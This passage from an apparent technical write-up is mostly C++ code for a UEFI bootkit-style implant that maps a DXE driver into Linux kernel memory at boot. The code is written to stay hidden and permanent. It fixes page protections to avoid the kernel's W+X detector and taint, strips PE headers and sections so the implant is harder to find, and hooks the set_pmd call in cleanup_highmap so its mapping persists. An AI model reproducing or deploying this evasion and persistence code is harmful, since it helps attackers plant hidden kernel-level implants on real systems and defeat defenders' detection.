<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;__init_scratch_end&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">__init_scratch_end</span><span class="p">)</span> <span class="o">!=</span>
</span></span><span class="line"><span class="cl">    <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="c1">// __init_scratch region is usually at heuristic::forward_find_map_end(_stext)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// in this context, and the scratch region size is typically 4 MiB. don&#39;t map
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// ourselves in there. EDIT: if there is no init_scratch, this is still safe
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="c1">// as we can map ourselves below if __init_scratch_end is nonsensical
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="n">vmlinux</span><span class="o">::</span><span class="n">__init_scratch_end</span> <span class="o">=</span> <span class="n">vmlinux</span><span class="o">::</span><span class="n">end</span> <span class="o">+</span> <span class="mh">0x400000</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">__init_scratch_end</span> <span class="o">&gt;</span> <span class="n">X86_64_KERNEL_VA_MAX</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">vmlinux</span><span class="o">::</span><span class="n">__init_scratch_end</span> <span class="o">=</span> <span class="n">X86_64_KERNEL_VA_MAX</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now find a place in high VA neighboring vmlinux:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="k">static</span> <span class="n">uintptr_t</span> <span class="nf">get_new_driver_va</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">init_scratch_end</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">stext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">driver_size</span> <span class="o">=</span> <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_len</span><span class="p">,</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">upper_max_base</span> <span class="o">=</span> <span class="n">X86_64_KERNEL_VA_MAX</span> <span class="o">-</span> <span class="n">driver_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">upper_min_base</span> <span class="o">=</span> <span class="n">init_scratch_end</span> <span class="o">+</span> <span class="n">EFI_PAGE_SIZE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">lower_min_base</span> <span class="o">=</span> <span class="n">X86_64_KERNEL_VA_MIN</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">size_t</span> <span class="n">free_space</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint64_t</span> <span class="n">random_offset</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">va</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">stext</span> <span class="o">||</span> <span class="o">!</span><span class="n">init_scratch_end</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="c1">// go below
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="k">if</span> <span class="p">(</span><span class="n">upper_max_base</span> <span class="o">-</span> <span class="n">upper_min_base</span> <span class="o">&lt;</span> <span class="n">driver_size</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">free_space</span> <span class="o">=</span> <span class="n">pt</span><span class="o">::</span><span class="n">unmapped_range_from</span><span class="p">(</span><span class="n">lower_min_base</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">free_space</span> <span class="o">&lt;=</span> <span class="n">driver_size</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="c1">// cleanup_highmap would remove any entry in highmap not belonging to
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="c1">// kernel overwriting memory is quite fine, if the kernel is not reclaiming
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>      <span class="k">if</span> <span class="p">(</span><span class="n">lower_min_base</span> <span class="o">+</span> <span class="n">free_space</span> <span class="o">&gt;</span> <span class="n">stext</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">return</span> <span class="n">lower_min_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">free_space</span> <span class="o">-=</span> <span class="n">driver_size</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="n">random_offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">rand64</span><span class="p">()</span> <span class="o">%</span> <span class="n">free_space</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">UINT64_C</span><span class="p">(</span><span class="n">EFI_PAGE_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="n">va</span> <span class="o">=</span> <span class="n">lower_min_base</span> <span class="o">+</span> <span class="n">random_offset</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">va</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">free_space</span> <span class="o">=</span> <span class="n">upper_max_base</span> <span class="o">-</span> <span class="n">upper_min_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">random_offset</span> <span class="o">=</span> <span class="p">(</span><span class="n">rand64</span><span class="p">()</span> <span class="o">%</span> <span class="n">free_space</span><span class="p">)</span> <span class="o">&amp;</span> <span class="o">~</span><span class="n">UINT64_C</span><span class="p">(</span><span class="n">EFI_PAGE_SIZE</span> <span class="o">-</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">va</span> <span class="o">=</span> <span class="n">upper_min_base</span> <span class="o">+</span> <span class="n">random_offset</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="n">va</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">g</span><span class="o">::</span><span class="n">driver_va</span> <span class="o">=</span> <span class="n">get_new_driver_va</span><span class="p">(</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">__init_scratch_end</span><span class="p">,</span> <span class="n">vmlinux</span><span class="o">::</span><span class="n">base</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Mapping DXE Driver to %Lx in early_top_pgt</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_va</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">map_range</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_va</span><span class="p">,</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_pa</span><span class="p">,</span> <span class="n">ALIGN_VALUE</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_len</span><span class="p">,</span> <span class="n">PS_4K</span><span class="p">),</span>
</span></span><span class="line"><span class="cl">                   <span class="n">ENTRY_RW</span> <span class="o">|</span> <span class="n">ENTRY_NX</span><span class="p">,</span> <span class="nb">true</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to remap DXE Driver to start kernel range in early_top_pgt</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pe</span><span class="o">::</span><span class="n">relocate</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_pa</span><span class="p">,</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_va</span><span class="p">,</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_len</span><span class="p">,</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">efi_pgt</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Relocate failed</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">STARTUP_64_HOOK_RETURN_STUB</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">__builtin_unreachable</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>Now we have a mapping at high VA. However, it is W+X and the Linux kernel scans and reports every W+X mapping at boot. If we don&rsquo;t fix the protections, we get noted in dmesg and tainted. So: prepare new VA jump, fix prots and remove unecessary headers and sections, so finding us is harder:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="c1">// we&#39;re in provisory identity mapped space, calculate displacement to the
</span></span></span><span class="line"><span class="cl"><span class="c1">// driver base and jump to it relative to the new virtual address mapping
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="n">displacement_from_base</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">permanent_mapping_setup</span><span class="p">)</span> <span class="o">-</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_pa</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="n">permanent_mapping_setup_addr</span> <span class="o">=</span> <span class="n">g</span><span class="o">::</span><span class="n">driver_va</span> <span class="o">+</span> <span class="n">displacement_from_base</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="cp">#if !defined(_PANDORA_DONT_FIX_MANUALLY_MAPPED_DXE_DRIVER_PROT)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="c1">// fix protections to hide from boot time page table walking and W+X mapping
</span></span></span><span class="line"><span class="cl"><span class="c1">// detector if we don&#39;t, we get pointed out as an odd map in dmesg and the
</span></span></span><span class="line"><span class="cl"><span class="c1">// kernel becomes tainted
</span></span></span><span class="line"><span class="cl"><span class="c1">// https://elixir.bootlin.com/linux/v7.1.8/source/arch/x86/mm/dump_pagetables.c#L339
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pe</span><span class="o">::</span><span class="n">fix_prot</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_va</span><span class="p">,</span> <span class="nb">true</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">      <span class="s">&#34;Failed to fix protections of manually mapped DXE Driver, kernel will be tainted</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="c1">// !defined(_PANDORA_DONT_FIX_MANUALLY_MAPPED_DXE_DRIVER_PROT)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="cp">#if !defined(_PANDORA_DONT_HIDE_MANUALLY_MAPPED_DXE_DRIVER)
</span></span></span><span class="line"><span class="cl"><span class="cp"></span><span class="c1">// delete headers and unecessary sections so detecting a manually mapped DXE
</span></span></span><span class="line"><span class="cl"><span class="c1">// Runtime Driver in unexpected kernel space memory is harder
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pe</span><span class="o">::</span><span class="n">hide</span><span class="p">(</span><span class="n">g</span><span class="o">::</span><span class="n">driver_va</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to hide PE image headers and unnecessary sections</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="cp">#endif </span><span class="c1">// !defined(_PANDORA_DONT_HIDE_MANUALLY_MAPPED_DXE_DRIVER)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"><span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Jumping to permanent_mapping_setup at %Lx</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">permanent_mapping_setup_addr</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="c1">//__asm__ volatile(&#34;jmp *%%rax&#34; ::&#34;a&#34;(permanent_mapping_setup_addr));
</span></span></span><span class="line"><span class="cl"><span class="c1">//__builtin_unreachable();
</span></span></span><span class="line"><span class="cl"><span class="c1">// the commented way could misalign the stack, do this way instead, the compiler
</span></span></span><span class="line"><span class="cl"><span class="c1">// will likely optimize this to a jmp. it is effectively equivalent, but aligning
</span></span></span><span class="line"><span class="cl"><span class="c1">// the stack correctly
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">return</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">void</span> <span class="p">(</span><span class="o">*</span><span class="p">)()</span><span class="o">&gt;</span><span class="p">(</span><span class="n">permanent_mapping_setup_addr</span><span class="p">)();</span>
</span></span></code></pre></div><p><code>permanent_mapping_setup</code> runs at the new VA. However, the Linux kernel cleanups every mapping in pgd[511] that is outside <code>stext</code> to <code>etext</code> range in <code>cleanup_highmap</code>:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">void</span> <span class="n">__init</span> <span class="nf">cleanup_highmap</span><span class="p">(</span><span class="kt">void</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">vaddr</span> <span class="o">=</span> <span class="n">__START_KERNEL_map</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">vaddr_end</span> <span class="o">=</span> <span class="n">__START_KERNEL_map</span> <span class="o">+</span> <span class="n">KERNEL_IMAGE_SIZE</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">end</span> <span class="o">=</span> <span class="n">roundup</span><span class="p">((</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span><span class="n">_brk_end</span><span class="p">,</span> <span class="n">PMD_SIZE</span><span class="p">)</span> <span class="o">-</span> <span class="mi">1</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">	<span class="n">pmd_t</span> <span class="o">*</span><span class="n">pmd</span> <span class="o">=</span> <span class="n">level2_kernel_pgt</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="cm">/*
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * Native path, max_pfn_mapped is not set yet.
</span></span></span><span class="line"><span class="cl"><span class="cm">	 * Xen has valid max_pfn_mapped set in
</span></span></span><span class="line"><span class="cl"><span class="cm">	 *	arch/x86/xen/mmu.c:xen_setup_kernel_pagetable().
</span></span></span><span class="line"><span class="cl"><span class="cm">	 */</span>
</span></span><span class="line"><span class="cl">	<span class="k">if</span> <span class="p">(</span><span class="n">max_pfn_mapped</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">		<span class="n">vaddr_end</span> <span class="o">=</span> <span class="n">__START_KERNEL_map</span> <span class="o">+</span> <span class="p">(</span><span class="n">max_pfn_mapped</span> <span class="o">&lt;&lt;</span> <span class="n">PAGE_SHIFT</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">	<span class="k">for</span> <span class="p">(;</span> <span class="n">vaddr</span> <span class="o">+</span> <span class="n">PMD_SIZE</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&lt;</span> <span class="n">vaddr_end</span><span class="p">;</span> <span class="n">pmd</span><span class="o">++</span><span class="p">,</span> <span class="n">vaddr</span> <span class="o">+=</span> <span class="n">PMD_SIZE</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">pmd_none</span><span class="p">(</span><span class="o">*</span><span class="n">pmd</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">			<span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">		<span class="k">if</span> <span class="p">(</span><span class="n">vaddr</span> <span class="o">&lt;</span> <span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span><span class="p">)</span> <span class="n">_text</span> <span class="o">||</span> <span class="n">vaddr</span> <span class="o">&gt;</span> <span class="n">end</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">			<span class="n">set_pmd</span><span class="p">(</span><span class="n">pmd</span><span class="p">,</span> <span class="n">__pmd</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">	<span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>cleanup_highmap</code> can be found through kallsyms. However, no-op&rsquo;ing it would allow garbage in highmap. Instead, we no-op only the <code>set_pmd</code> calls that would otherwise wipe our entries. That way, our mapping persists indefinitely.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="kt">bool</span> <span class="n">hooks</span><span class="o">::</span><span class="n">vmlinux</span><span class="o">::</span><span class="n">do_hook_cleanup_highmap</span><span class="p">()</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">cleanup_highmap</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">target_set_pmd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="n">kallsyms</span><span class="o">::</span><span class="n">kallsyms_err_t</span> <span class="n">ret</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">ret</span> <span class="o">=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">find_by_name</span><span class="p">(</span><span class="s">&#34;cleanup_highmap&#34;</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">cleanup_highmap</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                               <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_QUERY_FOR_CODE</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">ret</span> <span class="o">!=</span> <span class="n">kallsyms</span><span class="o">::</span><span class="n">KALLSYMS_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Could not find cleanup_highmap</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">target_set_pmd</span> <span class="o">=</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">find_set_pmd_used_by_cleanup_highmap</span><span class="p">(</span><span class="n">cleanup_highmap</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">target_set_pmd</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Could not find set_pmd used by cleanup_highmap</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Hooking set_pmd used by cleanup_highmap at %Lx</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">target_set_pmd</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">jmp_hook</span><span class="p">(</span><span class="n">target_set_pmd</span><span class="p">,</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="n">uintptr_t</span><span class="o">&gt;</span><span class="p">(</span><span class="n">set_pmd</span><span class="p">),</span> <span class="o">&amp;</span><span class="n">set_pmd_ctx</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="n">dbg</span><span class="o">::</span><span class="n">serial_print</span><span class="p">(</span><span class="s">&#34;Failed to hook set_pmd at %Lx</span><span class="se">\r\n</span><span class="s">&#34;</span><span class="p">,</span> <span class="n">cleanup_highmap</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p><code>find_set_pmd_used_by_cleanup_highmap</code> searches for a <code>E8</code> call to <code>set_pmd</code> and returns matched call destination:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-cpp" data-lang="cpp"><span class="line"><span class="cl"><span class="n">uintptr_t</span> <span class="n">heuristic</span><span class="o">::</span><span class="n">find_set_pmd_used_by_cleanup_highmap</span><span class="p">(</span><span class="n">uintptr_t</span> <span class="n">cleanup_highmap</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kt">uint8_t</span> <span class="o">*</span><span class="n">c</span> <span class="o">=</span> <span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">uint8_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="n">cleanup_highmap</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">uintptr_t</span> <span class="n">max</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">cleanup_highmap</span> <span class="o">||</span> <span class="o">!</span><span class="n">kallsyms</span><span class="o">::</span><span class="n">kallsyms_available</span><span class="p">())</span>
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="n">max</span> <span class="o">=</span> <span class="n">MIN</span><span class="p">(</span><span class="n">pt</span><span class="o">::</span><span class="n">mapped_range_from</span><span class="p">(</span><span class="n">cleanup_highmap</span><span class="p">),</span> <span class="mi">256</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">for</span> <span class="p">(</span><span class="n">uintptr_t</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">max</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="p">(</span><span class="n">c</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="mh">0xE8</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="n">uintptr_t</span> <span class="n">set_pmd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">uintptr_t</span> <span class="n">destination</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="kt">int32_t</span> <span class="n">disp32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">disp32</span> <span class="o">=</span> <span class="o">*</span><span class="k">reinterpret_cast</span><span class="o">&lt;</span><span class="kt">int32_t</span> <span class="o">*&gt;</span><span class="p">(</span><span class="o">&amp;</span><span class="n">c</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">      <span class="n">destination</span> <span class="o">=</span> <span class="n">cleanup_highmap</span> <span class="o">+</span> <span class="n">i</span> <span class="o">+</span> <span class="mi">5</span> <span class="o">+</span> <span class="n">disp32</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">pt</span><span class="o">::</span><span class="n">is_page_present</span><span class="p">(</span><span class="n">destination</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">        <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="n">set_pmd</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="n">kallsyms</span><span class="o">::</span><span class="n">for_each</span><span class="p">([</span><span class="o">&amp;</span><span class="p">](</span><span class="k">const</span> <span class="kt">char</span> <span class="o">*</span><span class="n">name</span><span class="p">,</span> <span class="n">uintptr_t</span> <span class="n">addr</span><span class="p">,</span> <span class="kt">char</span> <span class="n">type</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">bool</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;T&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;t&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;W&#39;</span> <span class="o">&amp;&amp;</span> <span class="n">type</span> <span class="o">!=</span> <span class="sc">&#39;w&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">          <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="n">addr</span> <span class="o">!=</span> <span class="n">destination</span> <span class="o">||</span> <span class="o">!</span><span class="n">AsciiStrStr</span><span class="p">(</span><span class="n">name</span><span class="p">,</span> <span class="s">&#34;set_pmd&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">          <span class="k">return</span> <span class="nb">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">set_pmd</span> <span class="o">=</span> <span class="n">addr</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nb">true</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">      <span class="p">});</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">      <span class="k">if</span> <span class="p">(</span><span class="n">set_pmd</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">set_pmd</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>The <code>set_pmd</code> hook then checks if the target pmd contains our mapping and unhooks itself when done:</p>
